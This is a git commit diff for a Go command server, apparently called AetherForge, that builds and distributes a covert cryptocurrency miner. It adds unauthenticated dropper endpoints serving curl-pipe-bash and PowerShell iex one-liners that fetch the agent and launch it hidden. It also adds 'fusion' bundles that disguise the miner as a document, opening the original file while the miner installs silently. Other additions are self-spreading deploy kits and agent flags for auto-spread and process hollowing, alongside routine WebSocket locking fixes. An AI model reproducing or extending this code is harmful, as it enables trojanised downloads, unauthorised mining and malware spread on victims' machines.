Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -129,7 +129,7 @@ func (h *BlueprintHandler) saveBlueprint(w http.ResponseWriter, r *http.Request)
return
}
if err := os.WriteFile(filePath, formatted, 0644); err != nil {
if err := os.WriteFile(filePath, formatted, 0600); err != nil {
http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError)
return
}

View File

@@ -0,0 +1,202 @@
package api
import (
"fmt"
"net/http"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
)
// DropperHandler serves the one-liner remote-install endpoints:
//
// GET /get — auto-detect OS from User-Agent, serve latest binary
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
// GET /install.sh — bash one-liner installer (Linux / macOS)
// GET /install.ps1 — PowerShell one-liner installer (Windows)
type DropperHandler struct {
db *dbpkg.Database
publicURLFunc func() string
}
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
}
func (h *DropperHandler) publicURL() string {
if h.publicURLFunc != nil {
if u := h.publicURLFunc(); u != "" {
return strings.TrimRight(u, "/")
}
}
return ""
}
// detectPlatform picks the right build platform from an explicit query param or
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
func detectPlatform(r *http.Request) string {
if p := r.URL.Query().Get("os"); p != "" {
switch strings.ToLower(p) {
case "windows", "win":
return "windows"
case "linux":
return "linux"
case "darwin", "mac", "macos":
return "darwin"
case "universal", "any":
return "universal"
}
}
ua := strings.ToLower(r.Header.Get("User-Agent"))
switch {
case strings.Contains(ua, "windows"):
return "windows"
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
return "darwin"
case strings.Contains(ua, "linux"):
return "linux"
}
return "" // caller will fall back to latest build regardless of platform
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
platform := detectPlatform(r)
// Try exact platform match, then fall back to universal, then any.
candidates := []string{platform, "universal", ""}
if platform == "" {
candidates = []string{"universal", ""}
}
var buildPath, buildName string
for _, p := range candidates {
b, err := h.db.GetLatestBuildForPlatform(p)
if err == nil && b != nil {
buildPath = b.FilePath
buildName = filepath.Base(b.FilePath)
break
}
}
if buildPath == "" {
http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
w.Header().Set("Content-Type", "application/octet-stream")
http.ServeFile(w, r, buildPath)
}
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
base := h.publicURL()
if base == "" {
// Best-effort: derive from request
scheme := "http"
if r.TLS != nil {
scheme = "https"
}
base = scheme + "://" + r.Host
}
script := fmt.Sprintf(`#!/bin/sh
# AetherForge one-liner installer
# Usage: curl -sL %s/install.sh | bash
set -e
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$ARCH" in
x86_64) ARCH="amd64" ;;
aarch64|arm64) ARCH="arm64" ;;
esac
TMPDIR="$(mktemp -d)"
DEST="$TMPDIR/worker"
echo "[*] Downloading agent for $OS/$ARCH..."
curl -sL -o "$DEST" "%s/get?os=$OS"
if file "$DEST" 2>/dev/null | grep -q "Zip"; then
echo "[*] Extracting universal bundle..."
unzip -q "$DEST" -d "$TMPDIR/bundle"
cd "$TMPDIR/bundle"
# Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command
if [ "$OS" = "darwin" ]; then
for L in Start.command start.command; do
if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi
done
fi
for L in start.sh deploy.sh; do
if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi
done
echo "[!] Could not find launcher in bundle"
exit 1
fi
chmod +x "$DEST"
echo "[*] Launching..."
nohup "$DEST" >/dev/null 2>&1 &
echo "[+] Agent started (pid $!)"
`, base, base)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
fmt.Fprint(w, script)
}
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
base := h.publicURL()
if base == "" {
scheme := "http"
if r.TLS != nil {
scheme = "https"
}
base = scheme + "://" + r.Host
}
// PowerShell backticks would conflict with Go raw-string backticks; build the
// script as a regular string so we can escape them properly.
bt := "`" // backtick character
script := "# AetherForge one-liner installer\n" +
"# Usage: iex (irm '" + base + "/install.ps1')\n\n" +
"$ErrorActionPreference = 'Stop'\n" +
"$url = '" + base + "/get?os=windows'\n" +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" +
"Write-Host '[*] Downloading agent...'\n" +
"Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" +
"$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" +
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" +
"if ($isZip) {\n" +
" Write-Host '[*] Extracting universal bundle...'\n" +
" $dir = $tmp + '_bundle'\n" +
" Add-Type -AssemblyName System.IO.Compression.FileSystem\n" +
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" +
// Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both.
" $bat = $null\n" +
" foreach ($name in @('Start.bat','Deploy.bat')) {\n" +
" $candidate = Join-Path $dir $name\n" +
" if (Test-Path $candidate) { $bat = $candidate; break }\n" +
" }\n" +
" if ($bat) {\n" +
" Write-Host '[*] Running launcher...'\n" +
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" +
" } else {\n" +
" Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" +
" }\n" +
"} else {\n" +
" $exe = $tmp + '.exe'\n" +
" Move-Item -Path $tmp -Destination $exe -Force\n" +
" Write-Host '[*] Launching...'\n" +
" Start-Process -FilePath $exe -WindowStyle Hidden\n" +
"}\n" +
"Write-Host '[+] Agent deployed.'\n"
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
fmt.Fprint(w, script)
}

View File

@@ -4,7 +4,6 @@ import (
"encoding/json"
"net/http"
"strconv"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
@@ -70,14 +69,10 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
}
content := f.ws.GetAgentLog(id)
if r.URL.Query().Get("refresh") == "1" {
// Fire the get_log command and return immediately — the response arrives
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
// The dashboard will receive the log content via the commandResults queue.
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
for i := 0; i < 12; i++ {
time.Sleep(150 * time.Millisecond)
if c := f.ws.GetAgentLog(id); c != "" {
content = c
break
}
}
}
writeJSON(w, map[string]interface{}{
"agent_id": id,

View File

@@ -50,7 +50,8 @@ func newTestRouter(t *testing.T) (http.Handler, string) {
_ = os.MkdirAll(webRoot, 0755)
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, dataDir, nil), dataDir
dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), dataDir
}
func TestHealthIsPublic(t *testing.T) {

View File

@@ -58,9 +58,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
}
path := r.URL.Path
// Agent-facing API + health + forged worker downloads stay open for agents.
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
if strings.HasPrefix(path, "/api/v1/agent/") ||
path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
next.ServeHTTP(w, r)
return
@@ -87,7 +88,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
loadUsers(dataDir)
r := chi.NewRouter()
@@ -188,6 +189,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
r.Get("/install.ps1", dropperHandler.ServePs1)
}
// Serve frontend SPA
if webRoot != "" {
// Check if webroot directory exists

View File

@@ -42,15 +42,41 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
return c.Conn.WriteJSON(v)
}
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
Conn *websocket.Conn
mu sync.Mutex
}
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteMessage(messageType, data)
}
func (d *DashboardConn) WriteJSON(v interface{}) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteJSON(v)
}
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteControl(messageType, data, deadline)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
dashboards map[string]*websocket.Conn
dashboards map[string]*DashboardConn
poolManager *pool.Manager
defaultPool pool.Config
aiHandler *AIHandler
agentConfigs map[string]AgentForgeConfig
agentLogs map[string]string
agentConfigs map[string]AgentForgeConfig
agentCapabilities map[string]models.AgentCapabilities
agentLogs map[string]string
serverPolicy ServerPolicy
pingIntervalSec int
mu sync.RWMutex
@@ -60,9 +86,10 @@ func NewWSHub(database *db.Database) *WSHub {
return &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*websocket.Conn),
agentConfigs: make(map[string]AgentForgeConfig),
agentLogs: make(map[string]string),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
pingIntervalSec: 30,
}
}
@@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration {
return time.Duration(sec) * time.Second
}
func (h *WSHub) runPingLoop(conn *websocket.Conn) {
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
@@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) {
}
}
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
dc.Conn.SetPongHandler(func(string) error {
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
h.mu.RLock()
defer h.mu.RUnlock()
@@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
return
}
go h.runPingLoop(conn)
go h.runPingLoopRaw(conn)
agentID := ""
defer func() {
@@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
policy := h.serverPolicySnapshot()
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
forgeCfg := AgentForgeConfig{
Wallet: auth.Wallet,
@@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AIModel: auth.AIModel,
}
caps := models.AgentCapabilities{
HolePunch: auth.HolePunch,
RemoteAggressive: auth.RemoteAggressive,
MeshP2P: auth.MeshP2P,
AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled,
}
h.mu.Lock()
h.agentConfigs[agentID] = forgeCfg
h.agentCapabilities[agentID] = caps
h.mu.Unlock()
if h.poolManager != nil {
@@ -301,15 +357,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
agent := &models.Agent{
ID: agentID,
Name: displayName,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,
Status: "online",
CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB,
LastSeen: time.Now(),
ID: agentID,
Name: displayName,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,
Status: "online",
CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB,
LastSeen: time.Now(),
Platform: auth.Platform,
Arch: auth.Arch,
OSVersion: auth.OSVersion,
Capabilities: &caps,
}
if err := h.db.UpsertAgent(agent); err != nil {
@@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
}
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
if policy.MaxAgents > 0 {
_, alreadyConnected := h.agents[agentID]
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
}
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
h.mu.Unlock()
@@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
return
}
dc := &DashboardConn{Conn: conn}
dashID := uuid.New().String()
h.mu.Lock()
h.dashboards[dashID] = conn
h.dashboards[dashID] = dc
h.mu.Unlock()
defer func() {
@@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Send initial data
agents, _ := h.db.ListAgents()
h.enrichAgentsCapabilities(agents)
stats, _ := h.db.GetFleetStats()
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
"agents": agents,
"stats": stats,
})})
go h.runPingLoop(conn)
go h.runPingLoopDash(dc)
// Keep connection alive, read close messages
for {
@@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) {
return
}
for id, conn := range h.dashboards {
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
for id, dc := range h.dashboards {
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
conn.Close()
dc.Conn.Close()
id := id
go func() {
h.mu.Lock()
@@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
}
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
h.mu.RLock()
defer h.mu.RUnlock()
for _, a := range agents {
if a == nil {
continue
}
if caps, ok := h.agentCapabilities[a.ID]; ok {
c := caps
a.Capabilities = &c
}
}
}
func (h *WSHub) GetAgentLog(agentID string) string {
h.mu.RLock()
defer h.mu.RUnlock()

View File

@@ -0,0 +1,426 @@
package builder
import (
"fmt"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
platforms := platformsForRequest(req)
workerPaths := map[string]string{}
for _, p := range platforms {
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
workerPaths[p.Label()] = wp
}
if req.SpreadKit && !req.FusionEnabled {
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
}
if req.FusionEnabled {
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
}
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
}
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
if req.SpreadKit {
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
} else {
subdir = sanitizeFileName(req.WorkerName) + "-universal"
}
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
if err := os.MkdirAll(outDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
for _, p := range platforms {
src := workers[p.Label()]
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
destName := "worker" + p.Ext
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
}
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
zipName := subdir + "-package.zip"
zipPath := filepath.Join(buildDir, zipName)
if err := zipDirectory(outDir, zipPath); err != nil {
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
primary := workers[platforms[0].Label()]
if w, ok := workers["windows-amd64"]; ok {
primary = w
}
zipSt, _ := os.Stat(zipPath)
zipBytes := int64(0)
if zipSt != nil {
zipBytes = zipSt.Size()
}
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes,
}); err != nil {
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: zipName,
FilePath: zipPath,
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
FileSize: zipBytes,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleFileName: zipName,
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleSize: zipBytes,
FusionExportDir: outDir,
ExportPath: outDir,
}, http.StatusOK, primary
}
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
// Resolve payload display name (used for runner naming and ZIP title)
payloadBase := filepath.Base(prepPath)
title := strings.TrimSpace(req.FusionMediaBaseName)
if title == "" {
title = payloadBase
}
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
if titleBase == "" {
titleBase = "fusion"
}
subdir := fusionExportSubdir(req, title)
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(outDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
mode := normalizeFusionMediaMode(req.FusionMediaMode)
var fusionResults []*fusionBuildResult
var primaryPath string
for _, p := range platforms {
workerPath := workers[p.Label()]
platReq := *req
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
platReq.FusionOutputName = runnerNameForFile(title, p)
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
fusionResults = append(fusionResults, res)
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
runnerName := filepath.Base(res.LauncherPath)
destRunner := filepath.Join(destDir, runnerName)
if err := copyFile(res.LauncherPath, destRunner); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
if p.GOOS == "windows" {
primaryPath = destRunner
}
if p.GOOS == "darwin" {
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
log.Printf("[Forge] darwin app bundle: %v", err)
}
}
}
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
if mode == "paired" && prepPath != "" {
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
_ = copyFile(prepPath, destPayload)
}
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
readme := fusionReadmeInfo{
Title: titleBase,
RunnerName: titleBase + "-runner",
MediaName: payloadBase,
PayloadKind: req.FusionPayloadKind,
MediaMode: mode,
}
windowsRunnerName := disguisedRunnerName(payloadBase)
unixRunnerName := sanitizeFileName(titleBase+"-runner")
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
"What happens when launched:\r\n" +
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
" 2. The miner installs silently and connects to your command deck\r\n"
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
zipName := fusionBundleZipName(subdir)
zipPath := filepath.Join(buildDir, zipName)
if err := zipDirectory(outDir, zipPath); err != nil {
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
if primaryPath == "" && len(fusionResults) > 0 {
primaryPath = fusionResults[0].LauncherPath
}
zipSt2, _ := os.Stat(zipPath)
zipBytes2 := int64(0)
if zipSt2 != nil {
zipBytes2 = zipSt2.Size()
}
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes2,
}); err != nil {
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: zipName,
FilePath: zipPath,
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
FileSize: zipBytes2,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
FusionEnabled: true,
FusionExportDir: outDir,
BundleFileName: zipName,
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleSize: zipBytes2,
ExportPath: outDir,
}, http.StatusOK, primaryPath
}
func runnerNameForPlatform(p BuildPlatform) string {
if p.GOOS == "windows" {
return "runner.exe"
}
return "runner"
}
func fileSize(st os.FileInfo) int64 {
if st == nil {
return 0
}
return st.Size()
}
const universalDeploySh = `#!/bin/sh
set -e
DIR="$(cd "$(dirname "$0")" && pwd)"
export AETHER_KIT_DIR="$DIR"
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
linux*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
*) RUN="$DIR/bin/linux-amd64/worker" ;;
esac
;;
darwin*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
esac
;;
*) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then
echo "Worker binary missing: $RUN"
exit 1
fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
exit 0
`
func spreadKitDeploySh() string {
return universalDeploySh
}
const spreadKitDeployBatBody = `@echo off
setlocal
set "DIR=%~dp0"
set "AETHER_KIT_DIR=%DIR%"
set "RUN=%DIR%bin\windows-amd64\worker.exe"
if not exist "%RUN%" (
echo Worker missing: %RUN%
exit /b 1
)
start "" /B "%RUN%" --spread-install
exit /b 0
`
func spreadKitDeployBat() string {
return spreadKitDeployBatBody
}
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
run = dir & "bin\windows-amd64\worker.exe"
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
WScript.Echo "Worker missing: " & run
WScript.Quit 1
End If
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
sh.Run """" & run & """ --spread-install", 0, False
`
func spreadKitDeployVbs() string {
return spreadKitDeployVbsBody
}
const spreadKitStartCommandBody = `#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
exec "$DIR/deploy.sh"
`
func spreadKitStartCommand() string {
return spreadKitStartCommandBody
}
const universalDeployBat = `@echo off
set DIR=%~dp0
"%DIR%bin\windows-amd64\worker.exe" --spread-install
`
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
// It detects the OS/arch and launches the matching runner binary.
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
func fusionUniversalStartSh(title string) string {
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
if base == "" {
base = "runner"
}
runnerBase := sanitizeFileName(base + "-runner")
return `#!/bin/sh
DIR="$(cd "$(dirname "$0")" && pwd)"
